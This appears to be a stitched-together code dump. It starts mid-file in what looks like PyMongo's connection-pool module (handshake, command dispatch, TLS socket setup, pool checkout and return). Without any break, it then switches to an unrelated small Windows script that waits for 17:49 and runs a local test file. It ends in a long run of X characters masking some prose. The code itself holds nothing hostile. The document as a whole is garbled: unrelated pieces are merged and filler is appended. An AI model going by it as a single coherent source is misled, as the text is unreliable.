self._hello(None, None, None) def _hello(self, cluster_time, topology_version, heartbeat_frequency): cmd = self.hello_cmd() performing_handshake = not self.performed_handshake awaitable = False if performing_handshake: self.performed_handshake = True cmd["client"] = self.opts.metadata if self.compression_settings: cmd["compression"] = self.compression_settings.compressors if self.opts.load_balanced: cmd["loadBalanced"] = True elif topology_version is not None: cmd["topologyVersion"] = topology_version cmd["maxAwaitTimeMS"] = int(heartbeat_frequency * 1000) awaitable = True # If connect_timeout is None there is no timeout. if self.opts.connect_timeout: self.set_socket_timeout(self.opts.connect_timeout + heartbeat_frequency) if not performing_handshake and cluster_time is not None: cmd["$clusterTime"] = cluster_time creds = self.opts._credentials if creds: if creds.mechanism == "DEFAULT" and creds.username: cmd["saslSupportedMechs"] = creds.source + "." + creds.username auth_ctx = auth._AuthContext.from_credentials(creds) if auth_ctx: cmd["speculativeAuthenticate"] = auth_ctx.speculate_command() else: auth_ctx = None doc = self.command("admin", cmd, publish_events=False, exhaust_allowed=awaitable) hello = Hello(doc, awaitable=awaitable) self.is_writable = hello.is_writable self.max_wire_version = hello.max_wire_version self.max_bson_size = hello.max_bson_size self.max_message_size = hello.max_message_size self.max_write_batch_size = hello.max_write_batch_size self.supports_sessions = hello.logical_session_timeout_minutes is not None self.hello_ok = hello.hello_ok self.is_repl = hello.server_type in ( SERVER_TYPE.RSPrimary, SERVER_TYPE.RSSecondary, SERVER_TYPE.RSArbiter, SERVER_TYPE.RSOther, SERVER_TYPE.RSGhost, ) self.is_standalone = hello.server_type == SERVER_TYPE.Standalone self.is_mongos = hello.server_type == SERVER_TYPE.Mongos if performing_handshake and self.compression_settings: ctx = self.compression_settings.get_compression_context(hello.compressors) self.compression_context = ctx self.op_msg_enabled = True if creds: self.negotiated_mechs = hello.sasl_supported_mechs if auth_ctx: auth_ctx.parse_response(hello) if auth_ctx.speculate_succeeded(): self.auth_ctx = auth_ctx if self.opts.load_balanced: if not hello.service_id: raise ConfigurationError( "Driver attempted to initialize in load balancing mode," " but the server does not support this mode" ) self.service_id = hello.service_id self.generation = self.pool_gen.get(self.service_id) return hello def _next_reply(self): reply = self.receive_message(None) self.more_to_come = reply.more_to_come unpacked_docs = reply.unpack_response() response_doc = unpacked_docs[0] helpers._check_command_response(response_doc, self.max_wire_version) return response_doc def command( self, dbname, spec, read_preference=ReadPreference.PRIMARY, codec_options=DEFAULT_CODEC_OPTIONS, check=True, allowable_errors=None, read_concern=None, write_concern=None, parse_write_concern_error=False, collation=None, session=None, client=None, retryable_write=False, publish_events=True, user_fields=None, exhaust_allowed=False, ): """Execute a command or raise an error. :Parameters: - `dbname`: name of the database on which to run the command - `spec`: a command document as a dict, SON, or mapping object - `read_preference`: a read preference - `codec_options`: a CodecOptions instance - `check`: raise OperationFailure if there are errors - `allowable_errors`: errors to ignore if `check` is True - `read_concern`: The read concern for this command. - `write_concern`: The write concern for this command. - `parse_write_concern_error`: Whether to parse the ``writeConcernError`` field in the command response. - `collation`: The collation for this command. - `session`: optional ClientSession instance. - `client`: optional MongoClient for gossipping $clusterTime. - `retryable_write`: True if this command is a retryable write. - `publish_events`: Should we publish events for this command? - `user_fields` (optional): Response fields that should be decoded using the TypeDecoders from codec_options, passed to bson._decode_all_selective. """ self.validate_session(client, session) session = _validate_session_write_concern(session, write_concern) # Ensure command name remains in first place. if not isinstance(spec, ORDERED_TYPES): # type:ignore[arg-type] spec = SON(spec) if not (write_concern is None or write_concern.acknowledged or collation is None): raise ConfigurationError("Collation is unsupported for unacknowledged writes.") self.add_server_api(spec) if session: session._apply_to(spec, retryable_write, read_preference, self) self.send_cluster_time(spec, session, client) listeners = self.listeners if publish_events else None unacknowledged = write_concern and not write_concern.acknowledged if self.op_msg_enabled: self._raise_if_not_writable(unacknowledged) try: return command( self, dbname, spec, self.is_mongos, read_preference, codec_options, session, client, check, allowable_errors, self.address, listeners, self.max_bson_size, read_concern, parse_write_concern_error=parse_write_concern_error, collation=collation, compression_ctx=self.compression_context, use_op_msg=self.op_msg_enabled, unacknowledged=unacknowledged, user_fields=user_fields, exhaust_allowed=exhaust_allowed, write_concern=write_concern, ) except (OperationFailure, NotPrimaryError): raise # Catch socket.error, KeyboardInterrupt, etc. and close ourselves. except BaseException as error: self._raise_connection_failure(error) def send_message(self, message, max_doc_size): """Send a raw BSON message or raise ConnectionFailure. If a network exception is raised, the socket is closed. """ if self.max_bson_size is not None and max_doc_size > self.max_bson_size: raise DocumentTooLarge( "BSON document too large (%d bytes) - the connected server " "supports BSON document sizes up to %d bytes." % (max_doc_size, self.max_bson_size) ) try: self.sock.sendall(message) except BaseException as error: self._raise_connection_failure(error) def receive_message(self, request_id): """Receive a raw BSON message or raise ConnectionFailure. If any exception is raised, the socket is closed. """ try: return receive_message(self, request_id, self.max_message_size) except BaseException as error: self._raise_connection_failure(error) def _raise_if_not_writable(self, unacknowledged): """Raise NotPrimaryError on unacknowledged write if this socket is not writable. """ if unacknowledged and not self.is_writable: # Write won't succeed, bail as if we'd received a not primary error. raise NotPrimaryError("not primary", {"ok": 0, "errmsg": "not primary", "code": 10107}) def unack_write(self, msg, max_doc_size): """Send unack OP_MSG. Can raise ConnectionFailure or InvalidDocument. :Parameters: - `msg`: bytes, an OP_MSG message. - `max_doc_size`: size in bytes of the largest document in `msg`. """ self._raise_if_not_writable(True) self.send_message(msg, max_doc_size) def write_command(self, request_id, msg, codec_options): """Send "insert" etc. command, returning response as a dict. Can raise ConnectionFailure or OperationFailure. :Parameters: - `request_id`: an int. - `msg`: bytes, the command message. """ self.send_message(msg, 0) reply = self.receive_message(request_id) result = reply.command_response(codec_options) # Raises NotPrimaryError or OperationFailure. helpers._check_command_response(result, self.max_wire_version) return result def authenticate(self): """Authenticate to the server if needed. Can raise ConnectionFailure or OperationFailure. """ # CMAP spec says to publish the ready event only after authenticating # the connection. if not self.ready: creds = self.opts._credentials if creds: auth.authenticate(creds, self) self.ready = True if self.enabled_for_cmap: self.listeners.publish_connection_ready(self.address, self.id) def validate_session(self, client, session): """Validate this session before use with client. Raises error if the client is not the one that created the session. """ if session: if session._client is not client: raise InvalidOperation("Can only use session with the MongoClient that started it") def close_socket(self, reason): """Close this connection with a reason.""" if self.closed: return self._close_socket() if reason and self.enabled_for_cmap: self.listeners.publish_connection_closed(self.address, self.id, reason) def _close_socket(self): """Close this connection.""" if self.closed: return self.closed = True if self.cancel_context: self.cancel_context.cancel() # Note: We catch exceptions to avoid spurious errors on interpreter # shutdown. try: self.sock.close() except Exception: pass def socket_closed(self): """Return True if we know socket has been closed, False otherwise.""" return self.socket_checker.socket_closed(self.sock) def send_cluster_time(self, command, session, client): """Add $clusterTime.""" if client: client._send_cluster_time(command, session) def add_server_api(self, command): """Add server_api parameters.""" if self.opts.server_api: _add_to_command(command, self.opts.server_api) def update_last_checkin_time(self): self.last_checkin_time = time.monotonic() def update_is_writable(self, is_writable): self.is_writable = is_writable def idle_time_seconds(self): """Seconds since this socket was last checked into its pool.""" return time.monotonic() - self.last_checkin_time def _raise_connection_failure(self, error): # Catch *all* exceptions from socket methods and close the socket. In # regular Python, socket operations only raise socket.error, even if # the underlying cause was a Ctrl-C: a signal raised during socket.recv # is expressed as an EINTR error from poll. See internal_select_ex() in # socketmodule.c. All error codes from poll become socket.error at # first. Eventually in PyEval_EvalFrameEx the interpreter checks for # signals and throws KeyboardInterrupt into the current frame on the # main thread. # # But in Gevent and Eventlet, the polling mechanism (epoll, kqueue, # ...) is called in Python code, which experiences the signal as a # KeyboardInterrupt from the start, rather than as an initial # socket.error, so we catch that, close the socket, and reraise it. # # The connection closed event will be emitted later in return_socket. if self.ready: reason = None else: reason = ConnectionClosedReason.ERROR self.close_socket(reason) # SSLError from PyOpenSSL inherits directly from Exception. if isinstance(error, (IOError, OSError, SSLError)): _raise_connection_failure(self.address, error) else: raise def __eq__(self, other): return self.sock == other.sock def __ne__(self, other): return not self == other def __hash__(self): return hash(self.sock) def __repr__(self): return "SocketInfo(%s)%s at %s" % ( repr(self.sock), self.closed and " CLOSED" or "", id(self), ) def _create_connection(address, options): """Given (host, port) and PoolOptions, connect and return a socket object. Can raise socket.error. This is a modified version of create_connection from CPython >= 2.7. """ host, port = address # Check if dealing with a unix domain socket if host.endswith(".sock"): if not hasattr(socket, "AF_UNIX"): raise ConnectionFailure("UNIX-sockets are not supported on this system") sock = socket.socket(socket.AF_UNIX) # SOCK_CLOEXEC not supported for Unix sockets. _set_non_inheritable_non_atomic(sock.fileno()) try: sock.connect(host) return sock except socket.error: sock.close() raise # Don't try IPv6 if we don't support it. Also skip it if host # is 'localhost' (::1 is fine). Avoids slow connect issues # like PYTHON-356. family = socket.AF_INET if socket.has_ipv6 and host != "localhost": family = socket.AF_UNSPEC err = None for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM): af, socktype, proto, dummy, sa = res # SOCK_CLOEXEC was new in CPython 3.2, and only available on a limited # number of platforms (newer Linux and *BSD). Starting with CPython 3.4 # all file descriptors are created non-inheritable. See PEP 446. try: sock = socket.socket(af, socktype | getattr(socket, "SOCK_CLOEXEC", 0), proto) except socket.error: # Can SOCK_CLOEXEC be defined even if the kernel doesn't support # it? sock = socket.socket(af, socktype, proto) # Fallback when SOCK_CLOEXEC isn't available. _set_non_inheritable_non_atomic(sock.fileno()) try: sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # CSOT: apply timeout to socket connect. timeout = _csot.remaining() if timeout is None: timeout = options.connect_timeout elif timeout <= 0: raise socket.timeout("timed out") sock.settimeout(timeout) sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, True) _set_keepalive_times(sock) sock.connect(sa) return sock except socket.error as e: err = e sock.close() if err is not None: raise err else: # This likely means we tried to connect to an IPv6 only # host with an OS/kernel or Python interpreter that doesn't # support IPv6. The test case is Jython2.5.1 which doesn't # support IPv6 at all. raise socket.error("getaddrinfo failed") def _configured_socket(address, options): """Given (host, port) and PoolOptions, return a configured socket. Can raise socket.error, ConnectionFailure, or _CertificateError. Sets socket's SSL and timeout options. """ sock = _create_connection(address, options) ssl_context = options._ssl_context if ssl_context is not None: host = address[0] try: # We have to pass hostname / ip address to wrap_socket # to use SSLContext.check_hostname. if HAS_SNI: sock = ssl_context.wrap_socket(sock, server_hostname=host) else: sock = ssl_context.wrap_socket(sock) except _CertificateError: sock.close() # Raise _CertificateError directly like we do after match_hostname # below. raise except (IOError, OSError, SSLError) as exc: # noqa: B014 sock.close() # We raise AutoReconnect for transient and permanent SSL handshake # failures alike. Permanent handshake failures, like protocol # mismatch, will be turned into ServerSelectionTimeoutErrors later. _raise_connection_failure(address, exc, "SSL handshake failed: ") if ( ssl_context.verify_mode and not ssl_context.check_hostname and not options.tls_allow_invalid_hostnames ): try: ssl.match_hostname(sock.getpeercert(), hostname=host) except _CertificateError: sock.close() raise sock.settimeout(options.socket_timeout) return sock class _PoolClosedError(PyMongoError): """Internal error raised when a thread tries to get a connection from a closed pool. """ pass class _PoolGeneration(object): def __init__(self): # Maps service_id to generation. self._generations = collections.defaultdict(int) # Overall pool generation. self._generation = 0 def get(self, service_id): """Get the generation for the given service_id.""" if service_id is None: return self._generation return self._generations[service_id] def get_overall(self): """Get the Pool's overall generation.""" return self._generation def inc(self, service_id): """Increment the generation for the given service_id.""" self._generation += 1 if service_id is None: for service_id in self._generations: self._generations[service_id] += 1 else: self._generations[service_id] += 1 def stale(self, gen, service_id): """Return if the given generation for a given service_id is stale.""" return gen != self.get(service_id) class PoolState(object): PAUSED = 1 READY = 2 CLOSED = 3 # Do *not* explicitly inherit from object or Jython won't call __del__ # http://bugs.jython.org/issue1057 class Pool: def __init__(self, address, options, handshake=True): """ :Parameters: - `address`: a (hostname, port) tuple - `options`: a PoolOptions instance - `handshake`: whether to call hello for each new SocketInfo """ if options.pause_enabled: self.state = PoolState.PAUSED else: self.state = PoolState.READY # Check a socket's health with socket_closed() every once in a while. # Can override for testing: 0 to always check, None to never check. self._check_interval_seconds = 1 # LIFO pool. Sockets are ordered on idle time. Sockets claimed # and returned to pool from the left side. Stale sockets removed # from the right side. self.sockets: collections.deque = collections.deque() self.lock = threading.Lock() self.active_sockets = 0 # Monotonically increasing connection ID required for CMAP Events. self.next_connection_id = 1 # Track whether the sockets in this pool are writeable or not. self.is_writable = None # Keep track of resets, so we notice sockets created before the most # recent reset and close them. # self.generation = 0 self.gen = _PoolGeneration() self.pid = os.getpid() self.address = address self.opts = options self.handshake = handshake # Don't publish events in Monitor pools. self.enabled_for_cmap = ( self.handshake and self.opts._event_listeners is not None and self.opts._event_listeners.enabled_for_cmap ) # The first portion of the wait queue. # Enforces: maxPoolSize # Also used for: clearing the wait queue self.size_cond = threading.Condition(self.lock) self.requests = 0 self.max_pool_size = self.opts.max_pool_size if not self.max_pool_size: self.max_pool_size = float("inf") # The second portion of the wait queue. # Enforces: maxConnecting # Also used for: clearing the wait queue self._max_connecting_cond = threading.Condition(self.lock) self._max_connecting = self.opts.max_connecting self._pending = 0 if self.enabled_for_cmap: self.opts._event_listeners.publish_pool_created( self.address, self.opts.non_default_options ) # Similar to active_sockets but includes threads in the wait queue. self.operation_count = 0 # Retain references to pinned connections to prevent the CPython GC # from thinking that a cursor's pinned connection can be GC'd when the # cursor is GC'd (see PYTHON-2751). self.__pinned_sockets = set() self.ncursors = 0 self.ntxns = 0 def ready(self): # Take the lock to avoid the race condition described in PYTHON-2699. with self.lock: if self.state != PoolState.READY: self.state = PoolState.READY if self.enabled_for_cmap: self.opts._event_listeners.publish_pool_ready(self.address) @property def closed(self): return self.state == PoolState.CLOSED def _reset(self, close, pause=True, service_id=None): old_state = self.state with self.size_cond: if self.closed: return if self.opts.pause_enabled and pause and not self.opts.load_balanced: old_state, self.state = self.state, PoolState.PAUSED self.gen.inc(service_id) newpid = os.getpid() if self.pid != newpid: self.pid = newpid self.active_sockets = 0 self.operation_count = 0 if service_id is None: sockets, self.sockets = self.sockets, collections.deque() else: discard: collections.deque = collections.deque() keep: collections.deque = collections.deque() for sock_info in self.sockets: if sock_info.service_id == service_id: discard.append(sock_info) else: keep.append(sock_info) sockets = discard self.sockets = keep if close: self.state = PoolState.CLOSED # Clear the wait queue self._max_connecting_cond.notify_all() self.size_cond.notify_all() listeners = self.opts._event_listeners # CMAP spec says that close() MUST close sockets before publishing the # PoolClosedEvent but that reset() SHOULD close sockets *after* # publishing the PoolClearedEvent. if close: for sock_info in sockets: sock_info.close_socket(ConnectionClosedReason.POOL_CLOSED) if self.enabled_for_cmap: listeners.publish_pool_closed(self.address) else: if old_state != PoolState.PAUSED and self.enabled_for_cmap: listeners.publish_pool_cleared(self.address, service_id=service_id) for sock_info in sockets: sock_info.close_socket(ConnectionClosedReason.STALE) def update_is_writable(self, is_writable): """Updates the is_writable attribute on all sockets currently in the Pool. """ self.is_writable = is_writable with self.lock: for _socket in self.sockets: _socket.update_is_writable(self.is_writable) def reset(self, service_id=None): self._reset(close=False, service_id=service_id) def reset_without_pause(self): self._reset(close=False, pause=False) def close(self): self._reset(close=True) def stale_generation(self, gen, service_id): return self.gen.stale(gen, service_id) def remove_stale_sockets(self, reference_generation): """Removes stale sockets then adds new ones if pool is too small and has not been reset. The `reference_generation` argument specifies the `generation` at the point in time this operation was requested on the pool. """ # Take the lock to avoid the race condition described in PYTHON-2699. with self.lock: if self.state != PoolState.READY: return if self.opts.max_idle_time_seconds is not None: with self.lock: while ( self.sockets and self.sockets[-1].idle_time_seconds() > self.opts.max_idle_time_seconds ): sock_info = self.sockets.pop() sock_info.close_socket(ConnectionClosedReason.IDLE) while True: with self.size_cond: # There are enough sockets in the pool. if len(self.sockets) + self.active_sockets >= self.opts.min_pool_size: return if self.requests >= self.opts.min_pool_size: return self.requests += 1 incremented = False try: with self._max_connecting_cond: # If maxConnecting connections are already being created # by this pool then try again later instead of waiting. if self._pending >= self._max_connecting: return self._pending += 1 incremented = True sock_info = self.connect() with self.lock: # Close connection and return if the pool was reset during # socket creation or while acquiring the pool lock. if self.gen.get_overall() != reference_generation: sock_info.close_socket(ConnectionClosedReason.STALE) return self.sockets.appendleft(sock_info) finally: if incremented: # Notify after adding the socket to the pool. with self._max_connecting_cond: self._pending -= 1 self._max_connecting_cond.notify() with self.size_cond: self.requests -= 1 self.size_cond.notify() def connect(self): """Connect to Mongo and return a new SocketInfo. Can raise ConnectionFailure. Note that the pool does not keep a reference to the socket -- you must call return_socket() when you're done with it. """ with self.lock: conn_id = self.next_connection_id self.next_connection_id += 1 listeners = self.opts._event_listeners if self.enabled_for_cmap: listeners.publish_connection_created(self.address, conn_id) try: sock = _configured_socket(self.address, self.opts) except BaseException as error: if self.enabled_for_cmap: listeners.publish_connection_closed( self.address, conn_id, ConnectionClosedReason.ERROR ) if isinstance(error, (IOError, OSError, SSLError)): _raise_connection_failure(self.address, error) raise sock_info = SocketInfo(sock, self, self.address, conn_id) try: if self.handshake: sock_info.hello() self.is_writable = sock_info.is_writable sock_info.authenticate() except BaseException: sock_info.close_socket(ConnectionClosedReason.ERROR) raise return sock_info @contextlib.contextmanager def get_socket(self, handler=None): """Get a socket from the pool. Use with a "with" statement. Returns a :class:`SocketInfo` object wrapping a connected :class:`socket.socket`. This method should always be used in a with-statement:: with pool.get_socket() as socket_info: socket_info.send_message(msg) data = socket_info.receive_message(op_code, request_id) Can raise ConnectionFailure or OperationFailure. :Parameters: - `handler` (optional): A _MongoClientErrorHandler. """ listeners = self.opts._event_listeners if self.enabled_for_cmap: listeners.publish_connection_check_out_started(self.address) sock_info = self._get_socket() if self.enabled_for_cmap: listeners.publish_connection_checked_out(self.address, sock_info.id) try: yield sock_info except BaseException: # Exception in caller. Ensure the connection gets returned. # Note that when pinned is True, the session owns the # connection and it is responsible for checking the connection # back into the pool. pinned = sock_info.pinned_txn or sock_info.pinned_cursor if handler: # Perform SDAM error handling rules while the connection is # still checked out. exc_type, exc_val, _ = sys.exc_info() handler.handle(exc_type, exc_val) if not pinned and sock_info.active: self.return_socket(sock_info) raise if sock_info.pinned_txn: with self.lock: self.__pinned_sockets.add(sock_info) self.ntxns += 1 elif sock_info.pinned_cursor: with self.lock: self.__pinned_sockets.add(sock_info) self.ncursors += 1 elif sock_info.active: self.return_socket(sock_info) def _raise_if_not_ready(self, emit_event): if self.state != PoolState.READY: if self.enabled_for_cmap and emit_event: self.opts._event_listeners.publish_connection_check_out_failed( self.address, ConnectionCheckOutFailedReason.CONN_ERROR ) _raise_connection_failure(self.address, AutoReconnect("connection pool paused")) def _get_socket(self): """Get or create a SocketInfo. Can raise ConnectionFailure.""" # We use the pid here to avoid issues with fork / multiprocessing. # See test.test_client:TestClient.test_fork for an example of # what could go wrong otherwise if self.pid != os.getpid(): self.reset_without_pause() if self.closed: if self.enabled_for_cmap: self.opts._event_listeners.publish_connection_check_out_failed( self.address, ConnectionCheckOutFailedReason.POOL_CLOSED ) raise _PoolClosedError( "Attempted to check out a connection from closed connection pool" ) with self.lock: self.operation_count += 1 # Get a free socket or create one. if _csot.get_timeout(): deadline = _csot.get_deadline() elif self.opts.wait_queue_timeout: deadline = time.monotonic() + self.opts.wait_queue_timeout else: deadline = None with self.size_cond: self._raise_if_not_ready(emit_event=True) while not (self.requests < self.max_pool_size): if not _cond_wait(self.size_cond, deadline): # Timed out, notify the next thread to ensure a # timeout doesn't consume the condition. if self.requests < self.max_pool_size: self.size_cond.notify() self._raise_wait_queue_timeout() self._raise_if_not_ready(emit_event=True) self.requests += 1 # We've now acquired the semaphore and must release it on error. sock_info = None incremented = False emitted_event = False try: with self.lock: self.active_sockets += 1 incremented = True while sock_info is None: # CMAP: we MUST wait for either maxConnecting OR for a socket # to be checked back into the pool. with self._max_connecting_cond: self._raise_if_not_ready(emit_event=False) while not (self.sockets or self._pending < self._max_connecting): if not _cond_wait(self._max_connecting_cond, deadline): # Timed out, notify the next thread to ensure a # timeout doesn't consume the condition. if self.sockets or self._pending < self._max_connecting: self._max_connecting_cond.notify() emitted_event = True self._raise_wait_queue_timeout() self._raise_if_not_ready(emit_event=False) try: sock_info = self.sockets.popleft() except IndexError: self._pending += 1 if sock_info: # We got a socket from the pool if self._perished(sock_info): sock_info = None continue else: # We need to create a new connection try: sock_info = self.connect() finally: with self._max_connecting_cond: self._pending -= 1 self._max_connecting_cond.notify() except BaseException: if sock_info: # We checked out a socket but authentication failed. sock_info.close_socket(ConnectionClosedReason.ERROR) with self.size_cond: self.requests -= 1 if incremented: self.active_sockets -= 1 self.size_cond.notify() if self.enabled_for_cmap and not emitted_event: self.opts._event_listeners.publish_connection_check_out_failed( self.address, ConnectionCheckOutFailedReason.CONN_ERROR ) raise sock_info.active = True return sock_info def return_socket(self, sock_info): """Return the socket to the pool, or if it's closed discard it. :Parameters: - `sock_info`: The socket to check into the pool. """ txn = sock_info.pinned_txn cursor = sock_info.pinned_cursor sock_info.active = False sock_info.pinned_txn = False sock_info.pinned_cursor = False self.__pinned_sockets.discard(sock_info) listeners = self.opts._event_listeners if self.enabled_for_cmap: listeners.publish_connection_checked_in(self.address, sock_info.id) if self.pid != os.getpid(): self.reset_without_pause() else: if self.closed: sock_info.close_socket(ConnectionClosedReason.POOL_CLOSED) elif sock_info.closed: # CMAP requires the closed event be emitted after the check in. if self.enabled_for_cmap: listeners.publish_connection_closed( self.address, sock_info.id, ConnectionClosedReason.ERROR ) else: with self.lock: # Hold the lock to ensure this section does not race with # Pool.reset(). if self.stale_generation(sock_info.generation, sock_info.service_id): sock_info.close_socket(ConnectionClosedReason.STALE) else: sock_info.update_last_checkin_time() sock_info.update_is_writable(self.is_writable) self.sockets.appendleft(sock_info) # Notify any threads waiting to create a connection. self._max_connecting_cond.notify() with self.size_cond: if txn: self.ntxns -= 1 elif cursor: self.ncursors -= 1 self.requests -= 1 self.active_sockets -= 1 self.operation_count -= 1 self.size_cond.notify() def _perished(self, sock_info): """Return True and close the connection if it is "perished". This side-effecty function checks if this socket has been idle for for longer than the max idle time, or if the socket has been closed by some external network error, or if the socket's generation is outdated. Checking sockets lets us avoid seeing *some* :class:`~pymongo.errors.AutoReconnect` exceptions on server hiccups, etc. We only check if the socket was closed by an external error if it has been > 1 second since the socket was checked into the pool, to keep performance reasonable - we can't avoid AutoReconnects completely anyway. """ idle_time_seconds = sock_info.idle_time_seconds() # If socket is idle, open a new one. if ( self.opts.max_idle_time_seconds is not None and idle_time_seconds > self.opts.max_idle_time_seconds ): sock_info.close_socket(ConnectionClosedReason.IDLE) return True if self._check_interval_seconds is not None and ( 0 == self._check_interval_seconds or idle_time_seconds > self._check_interval_seconds ): if sock_info.socket_closed(): sock_info.close_socket(ConnectionClosedReason.ERROR) return True if self.stale_generation(sock_info.generation, sock_info.service_id): sock_info.close_socket(ConnectionClosedReason.STALE) return True return False def _raise_wait_queue_timeout(self) -> NoReturn: listeners = self.opts._event_listeners if self.enabled_for_cmap: listeners.publish_connection_check_out_failed( self.address, ConnectionCheckOutFailedReason.TIMEOUT ) timeout = _csot.get_timeout() or self.opts.wait_queue_timeout if self.opts.load_balanced: other_ops = self.active_sockets - self.ncursors - self.ntxns raise ConnectionFailure( "Timeout waiting for connection from the connection pool. " "maxPoolSize: %s, connections in use by cursors: %s, " "connections in use by transactions: %s, connections in use " "by other operations: %s, timeout: %s" % ( self.opts.max_pool_size, self.ncursors, self.ntxns, other_ops, timeout, ) ) raise ConnectionFailure( "Timed out while checking out a connection from connection pool. " "maxPoolSize: %s, timeout: %s" % (self.opts.max_pool_size, timeout) ) def __del__(self): # Avoid ResourceWarnings in Python 3 # Close all sockets without calling reset() or close() because it is # not safe to acquire a lock in __del__. for sock_info in self.sockets: sock_info.close_socket(None) greatfirsty/hellopython import os,time k = 1 while k<2: now_time = time.strftime("%H_%M") if now_time == '17_49': print('start ') os.chdir(r'C:\\Users\hss\workgit\hellopython\test_project') os.system('python testrun.py') print('end') break else: time.sleep(10) print(now_time) #设置定时任务 #可以通过window，Ubuntu发布任务执行 0 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXX XXXXXXXXX XXX XX XXXXX XXXXXXXX XXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX XXXXXXXX XXXXXXXX XXXXXX XXXXX XXXXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXX XXXX XXXX XXXXX XX XXXXXXX XXX XXXXXXXX XXXX X XXXXXXXXXX XXXXXX XXXXXXX XXX XXX XXXXX XX XXX XXXXXXXX XXX XXXXX XXXX XXXXX XXXXXXX XX XXX XXXXXXX XXXXXXXX XXXXXXXXX XXXXXXXXX XXXX XX XXXXXXXXX XXX XX XXXXXX XXXXX XX XXXX XXXX XXXXXXX XXXXXXX XXXXXXX XXX XXX XXXXXXXXX XXXXXX XXXXXXXXXXX XXXXXXX XXXXXXXXXXXXXXXXXXX XXXX X XXX XX XXXX XX XXXXXXX XXXXXX XXXX XXX XXXXXXXX X XXX XXXXXXXXXXXX XXXX XXXXXX XXX XXXXXX XXXXXXXX XXXXX XXXXXX XXXXXXXXX XXXXXXXX XX XX XXXXX XX XX XXXXX XXXX XXXX XX XXXX XXXXXXXX XXXXX XXXXXXXXXXX XX XXX XXX XX XXXX XX XXXXXXX XXXX XXXXXX XXXXXXX XXXXX XXXXXX XXXXXXXXXXXXXXXXXXXXX XXX X XXXX XXXXX XX XXXXXXXX XXX XXX XXX XX XXXX XXX XXXXXX XXXXXXXXX XXXXX XXX XXXXXXX XXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXXXXXXX XXXXXXXX XXXX XXX XXXXX XXXXXXXXXXX XX XXXX XXXXXXXX XXXXXX XXXXXX XX XXXX X XXXXXX XXXXXX XXXXXXXX XXXX XXXXX XXXX XXX XXX XXXX XXXXXXXX XXXXXX XXXXXXXX XX XXXXXX XXXX XXX XXXXXXX XXXX XXXX XXXX XXX XXX XXXXXXXX XXX XXXX XXXX XX XXXXX XXX XXXXX XXXX XXXX XXXX XXXXXXX XXXXXXX XXXXX XXX XXX XXXX XXXXXXXX X XXX XXXXXXX XXXX XXXXXX X XXXXX XXX XXXX XXX XXX XXXXX XXXX XXXXXXX XXX XXX XX XXX XXXX XXXX XXX XXXXXXXXX XXXXXXXX XXXXXX XXXX XX XXX XXX XXXXXXXX XX XXXXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXXX XX XXX XXX XX XXXXX XXXXXXXX XXXXX XXXX XXX XXXXXXXXXXXXX XXXXXXX XXXXX XX XXXXXXXXXXXX XX XXXX XXXXXXXXX XXXXX XXXX XXXXXXX XXXXX XX XXXX XXX XXX XXXX XX XXX XX XXX XXXXXXXX XXX XXXXX XX XXXXXXX XXX XXXXXX XX XXXXXXX XXX XXXX XX XXXXXXXXXXXX XXXXXXXX XXXX X XXXXXX XXXXXXXXXXXXXXX XXXXXXXX X XXX XX XXXXXXXX XXXXXXX XXXXXX XXXX XXX XXXX XXXXXX X XXXXXXX XXXXXXXX XXX XX XXXX XXXXX XX XXXXXX XXXX XXXXX XXXXX XX XXXXXXXXXXX X XXXXXXX XXX XX XXXXXXXX XXXX XXXXXXXX XXXXXXXXX XX XXXXXX XXX XXXXXX XXXXXX XXX X XXXXXXXXX XXXXX XXXXXXXXXX XX XXXX X XXXXXXXX XX XXXX XXXXXXX X XXXXXXX XXXX XXXXXXXXXXXXXXXX XXXX XX XXXX XXXX XX XXXXXX X XXXXXX XXXXXXXXXXXXX XX X XXXXXX XXXXXXX XXXX XX XXXXXXXXXXXX XXXXXXXX XXX XXX XX X XXXXXX XXXXXXXX XX XXXXXXXXXXX XXX XXX XXXXXX XXXXXX XXXXXXXXXXXX XXXX XX XXXXXX XXXXXXXXXXX XXXXXXXXXX XXXXXXXXX XXX XXXXXXXXX XXXXXXXXXXX XXXXX XX XX XXX XXX XXXX XXXXXXXXXXX XX XXXXXXXX XXX XXXXXXX XX XXXXXX X XXXXXX XXXXXXX XXXX XXX XXXXXX XX XXXXXXXX XX XXX XX X XXXXXX XXXXXXXXXX XX XXXXX XXXX XXXXXXX XXX XXXX XXXXXXXX XXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXX XXX XXXXXXXX XXXXXXXXXX XXX XXXXXXX XXXXXX XXXX XXXX XXXXXX XXXXXXX XXXXXXXXX XXXXXXX XXXXXXXXXXX XXXXXXXXXXX XXXXXXX XXXXXXX XXXXXXX XXXXXX XXXXXXXXXXX XXXXXXXX XXXXXXX XXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXX XXXXXXXXX XXXXXXX XXXXXX XXXXXXX XXXXXXXXXXXXXX XXXXXXXXX XXXXXXXXXX XXXXXX XXXXXXXXXXX XXXXXXXXXX XXXXXXXXXXXX XXXXXXXX XXXXXXX XXXXXXXX XXXXXXXXXX XXXXXX XXXXXXXXXXXXXX XXX XXXXXXX XXXXXXXXXXXXXXXXXXXX XX XXXXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXXX XXX XXXXXXXXXXXXXXXXXXX XX XXXXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXXX XXX XXXXXXX XX XX XXXXXXX XXX XX XXXXX XX XXXX XXXXXXXX XXXXXXXX XXXXXXXXXXX XXX XXX XXXXXXX XXX XXXXXXXXXXXX XXXXXXXXXX XXXX XX XXXX XX XXX XXXXX XXXXXXXXXXX XX XX XXXXXXXXXX XX XXXXX XXX XXXXXXXXXXX XXXXXXXXXXXXXX XXX XXXXXX XX XXXX XXXX X XXX XXXXXXXX XXX XXXXXXXXX XXXXXXXXX XXXXX XXX XX XXXXXX XXXX X XXX XXXXXX XXXXXXX XXX XXXXXXXXXXX XXXXXXX XXXX XXX XXXXX XXXXX XX XX 